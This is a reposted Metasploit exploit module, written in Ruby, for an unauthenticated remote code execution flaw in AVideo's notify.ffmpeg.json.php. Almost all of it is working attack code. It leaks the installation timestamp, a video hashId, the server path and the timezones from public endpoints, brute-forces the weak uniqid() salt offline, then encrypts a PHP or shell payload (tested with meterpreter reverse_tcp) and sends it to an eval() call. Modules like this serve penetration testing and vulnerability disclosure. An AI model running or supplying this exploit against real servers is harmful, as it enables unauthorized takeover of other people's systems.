Share
## https://sploitus.com/exploit?id=PACKETSTORM:213984
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'openssl'
    require 'time'
    require 'tzinfo'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution (RCE) vulnerability
              in AVideo's notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical
              cryptographic weakness in the salt generation mechanism combined with information
              disclosure vulnerabilities that allow an attacker to discover the encryption salt
              through offline bruteforce.
    
              Root Cause:
              During installation, AVideo generates an encryption salt using PHP's uniqid() function,
              which is not cryptographically secure. uniqid() generates a 13-character hexadecimal
              string composed of: 8 characters for Unix timestamp in hex, and 5 characters for
              microseconds in hex (0x00000 to 0xFFFFF = 1,048,576 possible values).
    
              Exploit Chain:
              1. Leak installation timestamp from /objects/categories.json.php (public endpoint)
              2. Leak video hashId from /objects/videosAndroid.json.php or /plugin/API/get.json.php
              3. Leak system root path from posterPortraitPath in video API responses
              4. Leak server timezones from /objects/getTimes.json.php
              5. Offline bruteforce of the remaining 5 microsecond characters using hashId comparison
              6. Use recovered salt to encrypt RCE payload for notify.ffmpeg.json.php eval()
    
              The notify.ffmpeg.json.php endpoint uses decryptString() to decrypt the callback parameter,
              which has a fallback mechanism: if decryption with saltV2 (cryptographically secure) fails,
              it retries with the old uniqid() salt. This fallback makes the RCE exploitable.
    
              Affected Versions:
              AVideo 14.3.1+ (introduced January 7, 2025). Requires: Fallback mechanism in
              encrypt_decrypt() (introduced January 15, 2024) and notify.ffmpeg.json.php with
              eval($callback) (introduced January 7, 2025).
    
              Note on v20.0: The vendor removed the posterPortraitPath leak but did NOT remove
              the legacy salt fallback or eval($callback). RCE remains exploitable using SYSTEM_ROOT.
    
              This vulnerability does not require authentication and can be exploited remotely by any
              attacker who can access the AVideo instance.
            },
            'Author' => [
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-34433'], # Unauthenticated RCE via Predictable Salt
              ['CVE', '2025-34441'], # Information Disclosure: hashId leak
              ['CVE', '2025-34442'], # Information Disclosure: System Path leak
              ['URL', 'https://github.com/WWBN/AVideo/pull/10284'],
              ['URL', 'https://chocapikk.com/posts/2025/avideo-security-vulnerabilities/'],
              ['URL', 'https://www.vulncheck.com/advisories/avideo-unauthenticated-rce-via-predictable-installation-salt']
            ],
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-12-19',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),
          OptString.new('SALT', [false, 'Known salt (skips bruteforce)', '']),
          OptString.new('SYSTEM_ROOT', [false, 'System root path (fallback if leak fails)', '/var/www/html/AVideo/'])
        ])
      end
    
      def check
        gather_info
        return CheckCode::Safe('notify.ffmpeg.json.php not found (requires 14.3.1+)') unless @notify_exists
    
        salt_provided = !datastore['SALT'].to_s.empty?
        unless salt_provided
          return CheckCode::Safe('categories.json.php inaccessible (timestamp leak required)') unless @timestamp_accessible
          return CheckCode::Safe('hashId endpoints inaccessible (videosAndroid.json.php or get.json.php required)') unless @hashid_accessible
        end
    
        return CheckCode::Appears("Vulnerable version #{@version} detected") if @version && @version >= Rex::Version.new('14.3.1')
        return CheckCode::Safe("Version #{@version} requires 14.3.1+") if @version
    
        CheckCode::Appears('Prerequisites met (version unknown)')
      end
    
      def exploit
        gather_info
        fail_with(Failure::Unknown, 'Failed to discover salt') unless discover_salt
    
        callback_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        vprint_status('Executing payload...')
        res = send_rce_payload(callback_payload)
    
        return if session_created?
    
        if res&.code == 200
          vprint_status("Payload executed (response: #{res.code})")
          return
        end
    
        error_msg = parse_error_from_response(res)
        fail_with(Failure::Unknown, error_msg ? "Exploit failed: #{error_msg}" : "Unexpected response code: #{res&.code}")
      end
    
      def parse_error_from_response(res)
        return nil unless res&.body
    
        data = JSON.parse(res.body)
        return data['msg'] if data['msg'] && !data['msg'].to_s.empty?
        return 'Unknown error' if data['error'] == true
    
        nil
      rescue JSON::ParserError
        nil
      end
    
      def gather_info
        return if @notify_exists && @timestamp_accessible && @hashid_accessible && @timestamps && @video_info
    
        vprint_status('Gathering target information...')
        detect_version
        @notify_exists = check_notify_endpoint
    
        @timestamp_accessible = check_endpoint('objects/categories.json.php')
        @timestamps ||= get_timestamps if @timestamp_accessible
    
        # get_video_info caches endpoint responses, reused by get_system_root to avoid duplicate requests
        @video_info ||= get_video_info
        @hashid_accessible = !@video_info.nil?
      end
    
      def detect_version
        res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'follow_redirect' => true })
        return unless res&.code == 200
    
        version_match = res.body.match(/Powered by AVideo ยฎ Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
        return unless version_match && version_match[1]
    
        @version = Rex::Version.new(version_match[1])
        vprint_status("Detected AVideo version: #{@version}")
      end
    
      def check_endpoint(path)
        res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' })
        res&.code == 200
      end
    
      def check_notify_endpoint
        res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET' })
        return false unless res
    
        res.code == 403 && res.body.to_s.include?('Empty notifyCode')
      end
    
      # Fetch server timezones to test multiple uniqid calculations with different offsets
      def get_timezones
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'objects', 'getTimes.json.php'),
          'method' => 'GET'
        })
        return [nil, nil] unless res&.code == 200
    
        data = JSON.parse(res.body)
        [data['_serverSystemTimezone'], data['_serverDBTimezone']]
      rescue StandardError
        [nil, nil]
      end
    
      # If the default category created at install was deleted, exploit will fail (timestamp not guessable)
      def get_timestamps
        vprint_status('Leaking installation timestamp...')
        system_tz, db_tz = get_timezones
        vprint_status("Server timezones: system=#{system_tz}, db=#{db_tz}")
    
        res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'categories.json.php'), 'method' => 'GET' })
        return [] unless res&.code == 200
    
        # Try JSON parsing first, fallback to regex if JSON is invalid
        timestamps = parse_timestamps_from_json(res.body, system_tz, db_tz)
        return timestamps if timestamps.any?
    
        parse_timestamps_from_regex(res.body, system_tz, db_tz)
      end
    
      def parse_timestamps_from_json(body, system_tz, db_tz)
        data = JSON.parse(body)
        rows = data['rows']
        return [] unless rows.is_a?(Array) && !rows.empty?
    
        first_category = rows.min_by { |c| c['id'].to_i }
        created = first_category['created']
        timestamps = datetime_to_timestamps(created, system_tz, db_tz)
        vprint_good("Installation timestamp: #{created} -> #{timestamps.first}")
        timestamps
      rescue JSON::ParserError
        []
      end
    
      def parse_timestamps_from_regex(body, system_tz, db_tz)
        matches = body.scan(/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/m)
        return [] if matches.empty?
    
        created = matches.min_by { |m| m[0].to_i }[1]
        timestamps = datetime_to_timestamps(created, system_tz, db_tz)
        vprint_good("Installation timestamp (regex): #{created} -> #{timestamps.first}")
        timestamps
      end
    
      def datetime_to_timestamps(dt_str, system_tz, db_tz)
        dt = Time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')
        dt_local = Time.new(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec)
        timezones = [system_tz, db_tz, 'UTC'].compact.uniq
    
        timezones.map do |tz|
          tz_obj = TZInfo::Timezone.get(tz)
          format('%x', tz_obj.local_to_utc(dt_local).to_i)
        end.uniq
      rescue StandardError => e
        vprint_error("Error converting datetime: #{e}")
        []
      end
    
      def get_system_root
        return @system_root if @system_root && !@system_root.empty?
    
        # Try to get from cached endpoint responses first
        @system_root = extract_system_root_from_cache
        if @system_root
          vprint_good("System root leaked: #{@system_root}")
          return @system_root
        end
    
        # On v20+, path leak is fixed; fallback to SYSTEM_ROOT (default works for Docker instances)
        @system_root = datastore['SYSTEM_ROOT']
        vprint_status("Using fallback system root: #{@system_root}")
        @system_root
      end
    
      def extract_system_root_from_cache
        pattern = /"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/
    
        # Collect all cached response bodies to scan
        bodies = (@endpoint_cache || {}).values
    
        bodies.each do |body|
          body.scan(pattern).each do |match|
            path = match[0].gsub('\\/', '/')
            root = find_root_in_path(path)
            return root if root
          end
        end
        nil
      end
    
      def find_root_in_path(path)
        %w[/view/ /videos/ /plugin/].each do |subdir|
          return path.split(subdir)[0] + '/' if path.include?(subdir)
        end
        nil
      end
    
      # Fetch video endpoints once and cache responses for reuse (hashId + system_root extraction)
      # Note: videosAndroid.json.php can take a long time to load, this is expected
      # hashId won't be accessible if no public videos exist on the instance
      def get_video_info
        vprint_status('Leaking video hashId...')
        @endpoint_cache ||= {}
    
        endpoints = [
          normalize_uri(target_uri.path, 'objects', 'videosAndroid.json.php'),
          normalize_uri(target_uri.path, 'plugin', 'API', 'get.json.php') + '?APIName=video',
          normalize_uri(target_uri.path, 'view', 'info.php')
        ]
    
        endpoints.each do |endpoint|
          info = extract_video_info_from_endpoint(endpoint)
          return info if info
        rescue StandardError => e
          vprint_error("Error checking #{endpoint}: #{e}")
        end
        nil
      end
    
      def extract_video_info_from_endpoint(endpoint)
        # Use cached response if available
        body = @endpoint_cache[endpoint]
        unless body
          res = send_request_cgi({ 'uri' => endpoint, 'method' => 'GET' })
          return nil unless res&.code == 200
    
          body = res.body
          @endpoint_cache[endpoint] = body
        end
    
        data = JSON.parse(body)
        videos = data['videos'] || data.dig('response', 'rows') || (data['response'].is_a?(Array) ? data['response'] : [])
        return nil if videos.empty?
    
        video = videos.find { |v| v['id'] && v['hashId'] }
        return nil unless video
    
        hash_id = video['hashId']
        cipher = hash_id.length < 16 ? 'RC4' : 'AES-128-CBC'
        vprint_good("Video ID=#{video['id']}, hashId=#{hash_id} (#{cipher})")
        { id: video['id'].to_i, hash_id: hash_id, cipher: cipher }
      end
    
      def compute_hashid(video_id, salt, cipher_type = 'AES-128-CBC')
        key = Digest::MD5.hexdigest(salt)[0, 16]
        plaintext = video_id.to_s(32)
        cipher = OpenSSL::Cipher.new(cipher_type)
        cipher.encrypt
        cipher.key = key
        cipher.iv = key if cipher_type == 'AES-128-CBC'
    
        Rex::Text.encode_base64url(cipher.update(plaintext) + cipher.final)
      end
    
      def encrypt_payload(payload)
        key = Digest::SHA256.hexdigest(@salt)[0, 32]
        iv = Digest::SHA256.hexdigest(@system_root)[0, 16]
    
        cipher = OpenSSL::Cipher.new('AES-256-CBC')
        cipher.encrypt
        cipher.key = key
        cipher.iv = iv
    
        Rex::Text.encode_base64(Rex::Text.encode_base64(cipher.update(payload) + cipher.final))
      end
    
      def test_salt_candidate(candidate, video)
        compute_hashid(video[:id], candidate, video[:cipher]) == video[:hash_id]
      end
    
      def print_bruteforce_progress(ts_idx, timestamps_count, ts_hex, micro, total)
        return unless (micro % 100_000).zero? && micro > 0
    
        current = (ts_idx * 0x100000) + micro
        pct = (100.0 * current / total).round(1)
        formatted_micro = micro.to_s.reverse.gsub(/(\d{3})(?=\d)/, '\\1,').reverse
        print("%bld%blu[*]%clr [#{ts_idx + 1}/#{timestamps_count}] #{ts_hex}: #{formatted_micro} (#{pct}%)\r")
      end
    
      def bruteforce_salt(timestamps, video)
        vprint_status("Bruteforcing salt (#{video[:cipher]})...")
        start_time = Time.now
        total = timestamps.length * 0x100000
    
        timestamps.each_with_index do |ts_hex, ts_idx|
          (0...0x100000).each do |micro|
            candidate = format('%s%05x', ts_hex, micro)
            if test_salt_candidate(candidate, video)
              print("\r")
              elapsed = (Time.now - start_time).round(2)
              vprint_good("Salt found: #{candidate} (in #{elapsed}s)")
              return candidate
            end
            print_bruteforce_progress(ts_idx, timestamps.length, ts_hex, micro, total)
          end
        end
    
        print("\r")
        nil
      end
    
      def discover_salt
        @salt ||= datastore['SALT'] unless datastore['SALT'].to_s.empty?
        if @salt
          vprint_good("Using provided salt: #{@salt}")
          return get_system_root
        end
    
        get_system_root
        @timestamps ||= get_timestamps
        @video_info ||= get_video_info
        return false if @timestamps.empty? || !@video_info
    
        @salt = bruteforce_salt(@timestamps, @video_info)
        !@salt.nil?
      end
    
      def send_rce_payload(callback_payload)
        notify_code = encrypt_payload('valid')
        callback = encrypt_payload(callback_payload)
    
        filename = Rex::Text.rand_text_alphanumeric(8..16)
        ext = %w[mp4 avi mkv mov webm].sample
        full_filename = "#{filename}.#{ext}"
    
        notify_data = {
          'avideoPath' => full_filename,
          'avideoRelativePath' => full_filename,
          'avideoFilename' => filename
        }
        notify = JSON.generate(notify_data.to_a.shuffle.to_h)
    
        params = {
          'notifyCode' => notify_code,
          'notify' => notify,
          'callback' => callback
        }
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'),
          'method' => 'GET',
          'vars_get' => params.to_a.shuffle.to_h
        })
        res
      end
    end